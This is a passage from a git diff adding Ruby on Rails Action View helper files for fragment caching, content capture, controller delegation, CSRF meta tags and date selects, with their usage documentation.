+ # The template digest that's added to the cache key is computed by taking an md5 of the
+ # contents of the entire template file. This ensures that your caches will automatically
+ # expire when you change the template file.
+ #
+ # Note that the md5 is taken of the entire template file, not just what's within the
+ # cache do/end call. So it's possible that changing something outside of that call will
+ # still expire the cache.
+ #
+ # Additionally, the digestor will automatically look through your template file for
+ # explicit and implicit dependencies, and include those as part of the digest.
+ #
+ # The digestor can be bypassed by passing skip_digest: true as an option to the cache call:
+ #
+ # <% cache project, skip_digest: true do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ #
+ # ==== Implicit dependencies
+ #
+ # Most template dependencies can be derived from calls to render in the template itself.
+ # Here are some examples of render calls that Cache Digests knows how to decode:
+ #
+ # render partial: "comments/comment", collection: commentable.comments
+ # render "comments/comments"
+ # render 'comments/comments'
+ # render('comments/comments')
+ #
+ # render "header" => render("comments/header")
+ #
+ # render(@topic) => render("topics/topic")
+ # render(topics) => render("topics/topic")
+ # render(message.topics) => render("topics/topic")
+ #
+ # It's not possible to derive all render calls like that, though. Here are a few examples of things that can't be derived:
+ #
+ # render group_of_attachments
+ # render @project.documents.where(published: true).order('created_at')
+ #
+ # You will have to rewrite those to the explicit form:
+ #
+ # render partial: 'attachments/attachment', collection: group_of_attachments
+ # render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
+ #
+ # === Explicit dependencies
+ #
+ # Some times you'll have template dependencies that can't be derived at all. This is typically
+ # the case when you have template rendering that happens in helpers. Here's an example:
+ #
+ # <%= render_sortable_todolists @project.todolists %>
+ #
+ # You'll need to use a special comment format to call those out:
+ #
+ # <%# Template Dependency: todolists/todolist %>
+ # <%= render_sortable_todolists @project.todolists %>
+ #
+ # The pattern used to match these is /# Template Dependency: ([^ ]+)/, so it's important that you type it out just so.
+ # You can only declare one template dependency per line.
+ #
+ # === External dependencies
+ #
+ # If you use a helper method, for example, inside of a cached block and you then update that helper,
+ # you'll have to bump the cache as well. It doesn't really matter how you do it, but the md5 of the template file
+ # must change. One recommendation is to simply be explicit in a comment, like:
+ #
+ # <%# Helper Dependency Updated: May 6, 2012 at 6pm %>
+ # <%= some_helper_method(person) %>
+ #
+ # Now all you'll have to do is change that timestamp when the helper method changes.
+ def cache(name = {}, options = nil, &block)
+ if controller.perform_caching
+ safe_concat(fragment_for(cache_fragment_name(name, options), options, &block))
+ else
+ yield
+ end
+
+ nil
+ end
+
+ # Cache fragments of a view if +condition+ is true
+ #
+ # <%= cache_if admin?, project do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ def cache_if(condition, name = {}, options = nil, &block)
+ if condition
+ cache(name, options, &block)
+ else
+ yield
+ end
+
+ nil
+ end
+
+ # Cache fragments of a view unless +condition+ is true
+ #
+ # <%= cache_unless admin?, project do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ def cache_unless(condition, name = {}, options = nil, &block)
+ cache_if !condition, name, options, &block
+ end
+
+ # This helper returns the name of a cache key for a given fragment cache
+ # call. By supplying skip_digest: true to cache, the digestion of cache
+ # fragments can be manually bypassed. This is useful when cache fragments
+ # cannot be manually expired unless you know the exact key which is the
+ # case when using memcached.
+ def cache_fragment_name(name = {}, options = nil)
+ skip_digest = options && options[:skip_digest]
+
+ if skip_digest
+ name
+ else
+ fragment_name_with_digest(name)
+ end
+ end
+
+ private
+
+ def fragment_name_with_digest(name) #:nodoc:
+ if @virtual_path
+ [
+ *Array(name.is_a?(Hash) ? controller.url_for(name).split("://").last : name),
+ Digestor.digest(@virtual_path, formats.last.to_sym, lookup_context, dependencies: view_cache_dependencies)
+ ]
+ else
+ name
+ end
+ end
+
+ # TODO: Create an object that has caching read/write on it
+ def fragment_for(name = {}, options = nil, &block) #:nodoc:
+ if fragment = controller.read_fragment(name, options)
+ fragment
+ else
+ # VIEW TODO: Make #capture usable outside of ERB
+ # This dance is needed because Builder can't use capture
+ pos = output_buffer.length
+ yield
+ output_safe = output_buffer.html_safe?
+ fragment = output_buffer.slice!(pos..-1)
+ if output_safe
+ self.output_buffer = output_buffer.class.new(output_buffer)
+ end
+ controller.write_fragment(name, fragment, options)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/capture_helper.rb b/actionpack/lib/action_view/helpers/capture_helper.rb
new file mode 100644
index 0000000..5afe435
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/capture_helper.rb
@@ -0,0 +1,216 @@
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView
+ # = Action View Capture Helper
+ module Helpers
+ # CaptureHelper exposes methods to let you extract generated markup which
+ # can be used in other parts of a template or layout file.
+ #
+ # It provides a method to capture blocks into variables through capture and
+ # a way to capture a block of markup for use in a layout through content_for.
+ module CaptureHelper
+ # The capture method allows you to extract part of a template into a
+ # variable. You can then use this variable anywhere in your templates or layout.
+ #
+ # The capture method can be used in ERB templates...
+ #
+ # <% @greeting = capture do %>
+ # Welcome to my shiny new web page! The date and time is
+ # <%= Time.now %>
+ # <% end %>
+ #
+ # ...and Builder (RXML) templates.
+ #
+ # @timestamp = capture do
+ # "The current timestamp is #{Time.now}."
+ # end
+ #
+ # You can then use that variable anywhere else. For example:
+ #
+ # <html>
+ # <head><title><%= @greeting %></title></head>
+ # <body>
+ # <b><%= @greeting %></b>
+ # </body></html>
+ #
+ def capture(*args)
+ value = nil
+ buffer = with_output_buffer { value = yield(*args) }
+ if string = buffer.presence || value and string.is_a?(String)
+ ERB::Util.html_escape string
+ end
+ end
+
+ # Calling content_for stores a block of markup in an identifier for later use.
+ # In order to access this stored content in other templates, helper modules
+ # or the layout, you would pass the identifier as an argument to <tt>content_for</tt>.
+ #
+ # Note: <tt>yield</tt> can still be used to retrieve the stored content, but calling
+ # <tt>yield</tt> doesn't work in helper modules, while <tt>content_for</tt> does.
+ #
+ # <% content_for :not_authorized do %>
+ # alert('You are not authorized to do that!')
+ # <% end %>
+ #
+ # You can then use <tt>content_for :not_authorized</tt> anywhere in your templates.
+ #
+ # <%= content_for :not_authorized if current_user.nil? %>
+ #
+ # This is equivalent to:
+ #
+ # <%= yield :not_authorized if current_user.nil? %>
+ #
+ # <tt>content_for</tt>, however, can also be used in helper modules.
+ #
+ # module StorageHelper
+ # def stored_content
+ # content_for(:storage) || "Your storage is empty"
+ # end
+ # end
+ #
+ # This helper works just like normal helpers.
+ #
+ # <%= stored_content %>
+ #
+ # You can also use the <tt>yield</tt> syntax alongside an existing call to
+ # <tt>yield</tt> in a layout. For example:
+ #
+ # <%# This is the layout %>
+ # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+ # <head>
+ # <title>My Website</title>
+ # <%= yield :script %>
+ # </head>
+ # <body>
+ # <%= yield %>
+ # </body>
+ # </html>
+ #
+ # And now, we'll create a view that has a <tt>content_for</tt> call that
+ # creates the <tt>script</tt> identifier.
+ #
+ # <%# This is our view %>
+ # Please login!
+ #
+ # <% content_for :script do %>
+ # <script>alert('You are not authorized to view this page!')</script>
+ # <% end %>
+ #
+ # Then, in another view, you could to do something like this:
+ #
+ # <%= link_to 'Logout', action: 'logout', remote: true %>
+ #
+ # <% content_for :script do %>
+ # <%= javascript_include_tag :defaults %>
+ # <% end %>
+ #
+ # That will place +script+ tags for your default set of JavaScript files on the page;
+ # this technique is useful if you'll only be using these scripts in a few views.
+ #
+ # Note that content_for concatenates (default) the blocks it is given for a particular
+ # identifier in order. For example:
+ #
+ # <% content_for :navigation do %>
+ # <li><%= link_to 'Home', action: 'index' %></li>
+ # <% end %>
+ #
+ # And in other place:
+ #
+ # <% content_for :navigation do %>
+ # <li><%= link_to 'Login', action: 'login' %></li>
+ # <% end %>
+ #
+ # Then, in another template or layout, this code would render both links in order:
+ #
+ # <ul><%= content_for :navigation %></ul>
+ #
+ # If the flush parameter is true content_for replaces the blocks it is given. For example:
+ #
+ # <% content_for :navigation do %>
+ # <li><%= link_to 'Home', action: 'index' %></li>
+ # <% end %>
+ #
+ # <%# Add some other content, or use a different template: %>
+ #
+ # <% content_for :navigation, flush: true do %>
+ # <li><%= link_to 'Login', action: 'login' %></li>
+ # <% end %>
+ #
+ # Then, in another template or layout, this code would render only the last link:
+ #
+ # <ul><%= content_for :navigation %></ul>
+ #
+ # Lastly, simple content can be passed as a parameter:
+ #
+ # <% content_for :script, javascript_include_tag(:defaults) %>
+ #
+ # WARNING: content_for is ignored in caches. So you shouldn't use it for elements that will be fragment cached.
+ def content_for(name, content = nil, options = {}, &block)
+ if content || block_given?
+ if block_given?
+ options = content if content
+ content = capture(&block)
+ end
+ if content
+ options[:flush] ? @view_flow.set(name, content) : @view_flow.append(name, content)
+ end
+ nil
+ else
+ @view_flow.get(name).presence
+ end
+ end
+
+ # The same as +content_for+ but when used with streaming flushes
+ # straight back to the layout. In other words, if you want to
+ # concatenate several times to the same buffer when rendering a given
+ # template, you should use +content_for+, if not, use +provide+ to tell
+ # the layout to stop looking for more contents.
+ def provide(name, content = nil, &block)
+ content = capture(&block) if block_given?
+ result = @view_flow.append!(name, content) if content
+ result unless content
+ end
+
+ # content_for? checks whether any content has been captured yet using `content_for`.
+ # Useful to render parts of your layout differently based on what is in your views.
+ #
+ # <%# This is the layout %>
+ # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+ # <head>
+ # <title>My Website</title>
+ # <%= yield :script %>
+ # </head>
+ # <body class="<%= content_for?(:right_col) ? 'two-column' : 'one-column' %>">
+ # <%= yield %>
+ # <%= yield :right_col %>
+ # </body>
+ # </html>
+ def content_for?(name)
+ @view_flow.get(name).present?
+ end
+
+ # Use an alternate output buffer for the duration of the block.
+ # Defaults to a new empty string.
+ def with_output_buffer(buf = nil) #:nodoc:
+ unless buf
+ buf = ActionView::OutputBuffer.new
+ buf.force_encoding(output_buffer.encoding) if output_buffer
+ end
+ self.output_buffer, old_buffer = buf, output_buffer
+ yield
+ output_buffer
+ ensure
+ self.output_buffer = old_buffer
+ end
+
+ # Add the output buffer to the response body and start a new one.
+ def flush_output_buffer #:nodoc:
+ if output_buffer && !output_buffer.empty?
+ response.stream.write output_buffer
+ self.output_buffer = output_buffer.respond_to?(:clone_empty) ? output_buffer.clone_empty : output_buffer[0, 0]
+ nil
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/controller_helper.rb b/actionpack/lib/action_view/helpers/controller_helper.rb
new file mode 100644
index 0000000..74ef25f
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/controller_helper.rb
@@ -0,0 +1,25 @@
+require 'active_support/core_ext/module/attr_internal'
+
+module ActionView
+ module Helpers
+ # This module keeps all methods and behavior in ActionView
+ # that simply delegates to the controller.
+ module ControllerHelper #:nodoc:
+ attr_internal :controller, :request
+
+ delegate :request_forgery_protection_token, :params, :session, :cookies, :response, :headers,
+ :flash, :action_name, :controller_name, :controller_path, :to => :controller
+
+ def assign_controller(controller)
+ if @_controller = controller
+ @_request = controller.request if controller.respond_to?(:request)
+ @_config = controller.config.inheritable_copy if controller.respond_to?(:config)
+ end
+ end
+
+ def logger
+ controller.logger if controller.respond_to?(:logger)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/csrf_helper.rb b/actionpack/lib/action_view/helpers/csrf_helper.rb
new file mode 100644
index 0000000..eeb0ed9
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/csrf_helper.rb
@@ -0,0 +1,30 @@
+module ActionView
+ # = Action View CSRF Helper
+ module Helpers
+ module CsrfHelper
+ # Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
+ # request forgery protection parameter and token, respectively.
+ #
+ # <head>
+ # <%= csrf_meta_tags %>
+ # </head>
+ #
+ # These are used to generate the dynamic forms that implement non-remote links with
+ # <tt>:method</tt>.
+ #
+ # Note that regular forms generate hidden fields, and that Ajax calls are whitelisted,
+ # so they do not use these tags.
+ def csrf_meta_tags
+ if protect_against_forgery?
+ [
+ tag('meta', :name => 'csrf-param', :content => request_forgery_protection_token),
+ tag('meta', :name => 'csrf-token', :content => form_authenticity_token)
+ ].join("\n").html_safe
+ end
+ end
+
+ # For backwards compatibility.
+ alias csrf_meta_tag csrf_meta_tags
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/date_helper.rb b/actionpack/lib/action_view/helpers/date_helper.rb
new file mode 100644
index 0000000..8fb5eb1
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/date_helper.rb
@@ -0,0 +1,1083 @@
+require 'date'
+require 'action_view/helpers/tag_helper'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/date/conversions'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/object/with_options'
+
+module ActionView
+ module Helpers
+ # = Action View Date Helpers
+ #
+ # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
+ # elements. All of the select-type methods share a number of common options that are as follows:
+ #
+ # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
+ # would give \birthday[month] instead of \date[month] if passed to the <tt>select_month</tt> method.
+ # * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
+ # * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
+ # the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead
+ # of \date[month].
+ module DateHelper
+ # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
+ # Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
+ # Distances are reported based on the following table:
+ #
+ # 0 <-> 29 secs # => less than a minute
+ # 30 secs <-> 1 min, 29 secs # => 1 minute
+ # 1 min, 30 secs <-> 44 mins, 29 secs # => [2..44] minutes
+ # 44 mins, 30 secs <-> 89 mins, 29 secs # => about 1 hour
+ # 89 mins, 30 secs <-> 23 hrs, 59 mins, 29 secs # => about [2..24] hours
+ # 23 hrs, 59 mins, 30 secs <-> 41 hrs, 59 mins, 29 secs # => 1 day
+ # 41 hrs, 59 mins, 30 secs <-> 29 days, 23 hrs, 59 mins, 29 secs # => [2..29] days
+ # 29 days, 23 hrs, 59 mins, 30 secs <-> 44 days, 23 hrs, 59 mins, 29 secs # => about 1 month
+ # 44 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs # => about 2 months
+ # 59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec # => [2..12] months
+ # 1 yr <-> 1 yr, 3 months # => about 1 year
+ # 1 yr, 3 months <-> 1 yr, 9 months # => over 1 year
+ # 1 yr, 9 months <-> 2 yr minus 1 sec # => almost 2 years
+ # 2 yrs <-> max time or date # => (same rules as 1 yr)
+ #
+ # With <tt>include_seconds: true</tt> and the difference < 1 minute 29 seconds:
+ # 0-4 secs # => less than 5 seconds
+ # 5-9 secs # => less than 10 seconds
+ # 10-19 secs # => less than 20 seconds
+ # 20-39 secs # => half a minute
+ # 40-59 secs # => less than a minute
+ # 60-89 secs # => 1 minute
+ #
+ # from_time = Time.now
+ # distance_of_time_in_words(from_time, from_time + 50.minutes) # => about 1 hour
+ # distance_of_time_in_words(from_time, 50.minutes.from_now) # => about 1 hour
+ # distance_of_time_in_words(from_time, from_time + 15.seconds) # => less than a minute
+ # distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true) # => less than 20 seconds
+ # distance_of_time_in_words(from_time, 3.years.from_now) # => about 3 years
+ # distance_of_time_in_words(from_time, from_time + 60.hours) # => 3 days
+ # distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true) # => less than a minute
+ # distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true) # => less than a minute
+ # distance_of_time_in_words(from_time, 76.seconds.from_now) # => 1 minute
+ # distance_of_time_in_words(from_time, from_time + 1.year + 3.days) # => about 1 year
+ # distance_of_time_in_words(from_time, from_time + 3.years + 6.months) # => over 3 years
+ # distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
+ #
+ # to_time = Time.now + 6.years + 19.days
+ # distance_of_time_in_words(from_time, to_time, include_seconds: true) # => about 6 years
+ # distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years
+ # distance_of_time_in_words(Time.now, Time.now) # => less than a minute
+ def distance_of_time_in_words(from_time, to_time = 0, include_seconds_or_options = {}, options = {})
+ if include_seconds_or_options.is_a?(Hash)
+ options = include_seconds_or_options
+ else
+ ActiveSupport::Deprecation.warn "distance_of_time_in_words and time_ago_in_words now accept :include_seconds " +
+ "as a part of options hash, not a boolean argument"
+ options[:include_seconds] ||= !!include_seconds_or_options
+ end
+
+ options = {
+ scope: :'datetime.distance_in_words'
+ }.merge!(options)
+
+ from_time = from_time.to_time if from_time.respond_to?(:to_time)
+ to_time = to_time.to_time if to_time.respond_to?(:to_time)
+ from_time, to_time = to_time, from_time if from_time > to_time
+ distance_in_minutes = ((to_time - from_time)/60.0).round
+ distance_in_seconds = (to_time - from_time).round
+
+ I18n.with_options :locale => options[:locale], :scope => options[:scope] do |locale|
+ case distance_in_minutes
+ when 0..1
+ return distance_in_minutes == 0 ?
+ locale.t(:less_than_x_minutes, :count => 1) :
+ locale.t(:x_minutes, :count => distance_in_minutes) unless options[:include_seconds]
+
+ case distance_in_seconds
+ when 0..4 then locale.t :less_than_x_seconds, :count => 5
+ when 5..9 then locale.t :less_than_x_seconds, :count => 10
+ when 10..19 then locale.t :less_than_x_seconds, :count => 20
+ when 20..39 then locale.t :half_a_minute
+ when 40..59 then locale.t :less_than_x_minutes, :count => 1
+ else locale.t :x_minutes, :count => 1
+ end
+
+ when 2...45 then locale.t :x_minutes, :count => distance_in_minutes
+ when 45...90 then locale.t :about_x_hours, :count => 1
+ # 90 mins up to 24 hours
+ when 90...1440 then locale.t :about_x_hours, :count => (distance_in_minutes.to_f / 60.0).round
+ # 24 hours up to 42 hours
+ when 1440...2520 then locale.t :x_days, :count => 1
+ # 42 hours up to 30 days
+ when 2520...43200 then locale.t :x_days, :count => (distance_in_minutes.to_f / 1440.0).round
+ # 30 days up to 60 days
+ when 43200...86400 then locale.t :about_x_months, :count => (distance_in_minutes.to_f / 43200.0).round
+ # 60 days up to 365 days
+ when 86400...525600 then locale.t :x_months, :count => (distance_in_minutes.to_f / 43200.0).round
+ else
+ if from_time.acts_like?(:time) && to_time.acts_like?(:time)
+ fyear = from_time.year
+ fyear += 1 if from_time.month >= 3
+ tyear = to_time.year
+ tyear -= 1 if to_time.month < 3
+ leap_years = (fyear > tyear) ? 0 : (fyear..tyear).count{|x| Date.leap?(x)}
+ minute_offset_for_leap_year = leap_years * 1440
+ # Discount the leap year days when calculating year distance.
+ # e.g. if there are 20 leap year days between 2 dates having the same day
+ # and month then the based on 365 days calculation
+ # the distance in years will come out to over 80 years when in written
+ # english it would read better as about 80 years.
+ minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
+ else
+ minutes_with_offset = distance_in_minutes
+ end
+ remainder = (minutes_with_offset % 525600)
+ distance_in_years = (minutes_with_offset.div 525600)
+ if remainder < 131400
+ locale.t(:about_x_years, :count => distance_in_years)
+ elsif remainder < 394200
+ locale.t(:over_x_years, :count => distance_in_years)
+ else
+ locale.t(:almost_x_years, :count => distance_in_years + 1)
+ end
+ end
+ end
+ end
+
+ # Like <tt>distance_of_time_in_words</tt>, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
+ #
+ # time_ago_in_words(3.minutes.from_now) # => 3 minutes
+ # time_ago_in_words(3.minutes.ago) # => 3 minutes
+ # time_ago_in_words(Time.now - 15.hours) # => about 15 hours
+ # time_ago_in_words(Time.now) # => less than a minute
+ # time_ago_in_words(Time.now, include_seconds: true) # => less than 5 seconds
+ #
+ # from_time = Time.now - 3.days - 14.minutes - 25.seconds
+ # time_ago_in_words(from_time) # => 3 days
+ #
+ # from_time = (3.days + 14.minutes + 25.seconds).ago
+ # time_ago_in_words(from_time) # => 3 days
+ #
+ # Note that you cannot pass a <tt>Numeric</tt> value to <tt>time_ago_in_words</tt>.
+ #
+ def time_ago_in_words(from_time, include_seconds_or_options = {})
+ distance_of_time_in_words(from_time, Time.now, include_seconds_or_options)
+ end
+
+ alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
+
+ # Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based
+ # attribute (identified by +method+) on an object assigned to the template (identified by +object+).
+ #
+ # ==== Options
+ # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
+ # "2" instead of "February").
+ # * <tt>:use_two_digit_numbers</tt> - Set to true if you want to display two digit month and day numbers (e.g.
+ # "02" instead of "February" and "08" instead of "8").
+ # * <tt>:use_short_month</tt> - Set to true if you want to use abbreviated month names instead of full
+ # month names (e.g. "Feb" instead of "February").
+ # * <tt>:add_month_numbers</tt> - Set to true if you want to use both month numbers and month names (e.g.
+ # "2 - February" instead of "February").
+ # * <tt>:use_month_names</tt> - Set to an array with 12 month names if you want to customize month names.
+ # Note: You can also use Rails' i18n functionality for this.
+ # * <tt>:date_separator</tt> - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
+ # * <tt>:start_year</tt> - Set the start year for the year select. Default is <tt>Time.now.year - 5</tt>.
+ # * <tt>:end_year</tt> - Set the end year for the year select. Default is <tt>Time.now.year + 5</tt>.
+ # * <tt>:discard_day</tt> - Set to true if you don't want to show a day select. This includes the day
+ # as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
+ # first of the given month in order to not create invalid dates like 31 February.
+ # * <tt>:discard_month</tt> - Set to true if you don't want to show a month select. This includes the month
+ # as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.
+ # * <tt>:discard_year</tt> - Set to true if you don't want to show a year select. This includes the year
+ # as a hidden field instead of showing a select field.
+ # * <tt>:order</tt> - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
+ # customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
+ # select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
+ # the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
+ # * <tt>:include_blank</tt> - Include a blank option in every select field so it's possible to set empty
+ # dates.
+ # * <tt>:default</tt> - Set a default date if the affected date isn't set or is nil.
+ # * <tt>:selected</tt> - Set a date that overrides the actual value.
+ # * <tt>:disabled</tt> - Set to true if you want show the select fields as disabled.
+ # * <tt>:prompt</tt> - Set to true (for a generic prompt), a prompt string or a hash of prompt strings
+ # for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>.
+ # Setting this option prepends a select option with a generic prompt (Day, Month, Year, Hour, Minute, Seconds)
+ # or the given prompt string.
+ # * <tt>:with_css_classes</tt> - Set to true if you want assign different styles for 'select' tags. This option
+ # automatically set classes 'year', 'month', 'day', 'hour', 'minute' and 'second' for your 'select' tags.
+ #
+ # If anything is passed in the +html_options+ hash it will be applied to every select tag in the set.
+ #
+ # NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute.
+ # date_select("article", "written_on")
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+ # # with the year in the year drop down box starting at 1995.
+ # date_select("article", "written_on", start_year: 1995)
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+ # # with the year in the year drop down box starting at 1995, numbers used for months instead of words,
+ # # and without a day select box.
+ # date_select("article", "written_on", start_year: 1995, use_month_numbers: true,
+ # discard_day: true, include_blank: true)
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+ # # with two digit numbers used for months and days.
+ # date_select("article", "written_on", use_two_digit_numbers: true)
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+ # # with the fields ordered as day, month, year rather than month, day, year.
+ # date_select("article", "written_on", order: [:day, :month, :year])
+ #
+ # # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
+ # # lacking a year field.
+ # date_select("user", "birthday", order: [:month, :day])
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+ # # which is initially set to the date 3 days from the current date
+ # date_select("article", "written_on", default: 3.days.from_now)
+ #
+ # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+ # # which is set in the form with todays date, regardless of the value in the Active Record object.
+ # date_select("article", "written_on", selected: Date.today)
+ #
+ # # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute
+ # # that will have a default day of 20.
+ # date_select("credit_card", "bill_due", default: { day: 20 })
+ #
+ # # Generates a date select with custom prompts.
+ # date_select("article", "written_on", prompt: { day: 'Select day', month: 'Select month', year: 'Select year' })
+ #
+ # The selects are prepared for multi-parameter assignment to an Active Record object.
+ #
+ # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
+ # all month choices are valid.
+ def date_select(object_name, method, options = {}, html_options = {})
+ Tags::DateSelect.new(object_name, method, self, options, html_options).render
+ end
+
+ # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
+ # specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
+ # +object+). You can include the seconds with <tt>:include_seconds</tt>. You can get hours in the AM/PM format
+ # with <tt>:ampm</tt> option.
+ #
+ # This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
+ # <tt>:ignore_date</tt> is set to +true+. If you set the <tt>:ignore_date</tt> to +true+, you must have a
+ # +date_select+ on the same method within the form otherwise an exception will be raised.
+ #
+ # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+ #
+ # # Creates a time select tag that, when POSTed, will be stored in the article variable in the sunrise attribute.
+ # time_select("article", "sunrise")
+ #
+ # # Creates a time select tag with a seconds field that, when POSTed, will be stored in the article variables in
+ # # the sunrise attribute.
+ # time_select("article", "start_time", include_seconds: true)
+ #
+ # # You can set the <tt>:minute_step</tt> to 15 which will give you: 00, 15, 30 and 45.
+ # time_select 'game', 'game_time', {minute_step: 15}
+ #
+ # # Creates a time select tag with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+ # time_select("article", "written_on", prompt: {hour: 'Choose hour', minute: 'Choose minute', second: 'Choose seconds'})
+ # time_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
+ # time_select("article", "written_on", prompt: true) # generic prompts for all
+ #
+ # # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
+ # time_select 'game', 'game_time', {ampm: true}
+ #
+ # The selects are prepared for multi-parameter assignment to an Active Record object.
+ #
+ # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
+ # all month choices are valid.
+ def time_select(object_name, method, options = {}, html_options = {})
+ Tags::TimeSelect.new(object_name, method, self, options, html_options).render
+ end
+
+ # Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a
+ # specified datetime-based attribute (identified by +method+) on an object assigned to the template (identified
+ # by +object+).
+ #
+ # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+ #
+ # # Generates a datetime select that, when POSTed, will be stored in the article variable in the written_on
+ # # attribute.
+ # datetime_select("article", "written_on")
+ #
+ # # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the
+ # # article variable in the written_on attribute.
+ # datetime_select("article", "written_on", start_year: 1995)
+ #
+ # # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will
+ # # be stored in the trip variable in the departing attribute.
+ # datetime_select("trip", "departing", default: 3.days.from_now)
+ #
+ # # Generate a datetime select with hours in the AM/PM format
+ # datetime_select("article", "written_on", ampm: true)
+ #
+ # # Generates a datetime select that discards the type that, when POSTed, will be stored in the article variable
+ # # as the written_on attribute.
+ # datetime_select("article", "written_on", discard_type: true)
+ #
+ # # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+ # datetime_select("article", "written_on", prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+ # datetime_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
+ # datetime_select("article", "written_on", prompt: true) # generic prompts for all
+ #
+ # The selects are prepared for multi-parameter assignment to an Active Record object.
+ def datetime_select(object_name, method, options = {}, html_options = {})
+ Tags::DatetimeSelect.new(object_name, method, self, options, html_options).render
+ end
+
+ # Returns a set of html select-tags (one for year, month, day, hour, minute, and second) pre-selected with the
+ # +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with
+ # an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not
+ # supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add
+ # <tt>:date_separator</tt>, <tt>:datetime_separator</tt> and <tt>:time_separator</tt> keys to the +options+ to
+ # control visual display of the elements.
+ #
+ # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+ #
+ # my_date_time = Time.now + 4.days
+ #
+ # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today).
+ # select_datetime(my_date_time)
+ #
+ # # Generates a datetime select that defaults to today (no specified datetime)
+ # select_datetime()
+ #
+ # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+ # # with the fields ordered year, month, day rather than month, day, year.
+ # select_datetime(my_date_time, order: [:year, :month, :day])
+ #
+ # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+ # # with a '/' between each date field.
+ # select_datetime(my_date_time, date_separator: '/')
+ #
+ # # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+ # # with a date fields separated by '/', time fields separated by '' and the date and time fields
+ # # separated by a comma (',').
+ # select_datetime(my_date_time, date_separator: '/', time_separator: '', datetime_separator: ',')
+ #
